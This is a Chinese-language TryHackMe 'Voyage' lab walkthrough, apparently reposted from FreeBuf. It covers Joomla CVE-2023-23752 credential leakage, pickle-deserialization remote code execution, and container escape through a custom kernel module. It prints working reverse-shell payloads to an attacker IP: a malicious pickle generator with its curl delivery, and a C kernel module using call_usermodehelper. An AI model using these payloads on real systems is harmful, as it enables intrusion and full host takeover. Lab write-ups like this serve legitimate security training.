Voyage TryHackMe
文章描述了一次针对Joomla漏洞(CVE-2023-23752)的渗透测试过程,包括端口扫描、获取数据库凭据、SSH访问容器、利用nmap发现其他容器IP地址、通过反序列化漏洞生成恶意pickle对象以实现反连,并最终通过加载自定义内核模块实现宿主机的反向连接。 2025-11-9 06:42:33 Author: www.freebuf.com(查看原文) 阅读量:2 收藏

freeBuf

主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

端口扫描

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
| http-robots.txt: 16 disallowed entries (15 shown)
| /joomla/administrator/ /administrator/ /api/ /bin/ 
| /cache/ /cli/ /components/ /includes/ /installation/ 
|_/language/ /layouts/ /libraries/ /logs/ /modules/ /plugins/
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Home
2222/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
MAC Address: 16:FF:D7:E1:89:ED (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

可以知道运行的joomla

访问http://目标IP/administrator/manifests/files/joomla.xml可以发现使用的版本为4.2.7

然后我们可以尝试搜索该漏洞

访问登录容器root

通过CVE-2023-23752,我们可以直接访问到一些信息

/api/index.php/v1/config/application?public=true

我们发现了一个数据库的账号和密码

1762435369_690ca1297e41a27b087d2.png!small?1762435370069

然后我们直接ssh 2222端口,我们可以发现这是一个容器

我们可以连接到容器上

ssh -p 2222 [email protected]

探查网络

执行ls /usr/bin/

我们发现此容器安装了nmap

可以发现另一个容器ip,可以发现5000端口

$ ssh [email protected] -p 2222 -L 5000:192.168.100.12:5000

1762658177_69100781c465b32a6bd6d.png!small?1762658178344

访问发现设置了cookie值,经过分析发现这是一个序列化后的结果1762658278_691007e68599e44678d2f.png!small?1762658278951

import pickle
import os

class Malicious:
def __reduce__(self):
return (os.system, ("/bin/bash -c 'bash -i >& /dev/tcp/10.4.8.68/4444 0>&1'",))

malicious_pickle = pickle.dumps(Malicious())

print("Malicious pickle in hex:", malicious_pickle.hex())

使用上面的脚本可以生成序列化后的值

经过

curl http://127.0.0.1:5000/ -H "Cookie: session_data=80049551000000000000008c05706f736978948c0673797374656d9493948c362f62696e2f62617368202d63202762617368202d69203e26202f6465762f7463702f31302e342e382e36382f3434343420303e26312794859452942e"

成功反连

发现user.txt

登录上去之后使用

capsh --print

发现用户存在cap_sys_module

1762659153_69100b51177602a48f228.png!small?1762659153646

容器逃逸

我们可以通过加载内核模块的方式,将宿主机反连到我们的设备

因为我们是具备cap_sys_module,我们可以自己制作一个反连模块

#include <linux/init.h>

#include <linux/module.h>

#include <linux/kmod.h>

MODULE_LICENSE("GPL");

static int shell(void){

char *argv[] ={"/bin/bash", "-c", "bash -i >& /dev/tcp/10.4.8.68/4445 0>&1", NULL};

static char *env[] = {

"HOME=/",

"TERM=linux",

"PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL };

return call_usermodehelper(argv[0], argv, env, UMH_WAIT_PROC);

}

static int init_mod(void){

return shell();

}

static void exit_mod(void){

return;

}

module_init(init_mod);

module_exit(exit_mod);

接着再制作一个makefile的编译文件

obj-m +=shell.o
all:
	make -C /lib/modules/6.8.0-1030-aws/build M=$(PWD) modules
clean:
	make -C /lib/modules/6.8.0-1030-aws/build M=$(PWD) clean

使用curl http://10.4.8.68:8080/shell.o>shell.o(将文件下载到本地)

Makefile也是一样

1762662218_6910174abbc16f97690ec.png!small?1762662219331

然后我们可以执行该模块

insmod shell.ko

最终成功反连到了宿主机

免责声明

1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。

2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。

3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。

已在FreeBuf发表 0 篇文章

本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)


文章来源: https://www.freebuf.com/articles/web/456209.html
如有侵权请联系:admin#unsafe.sh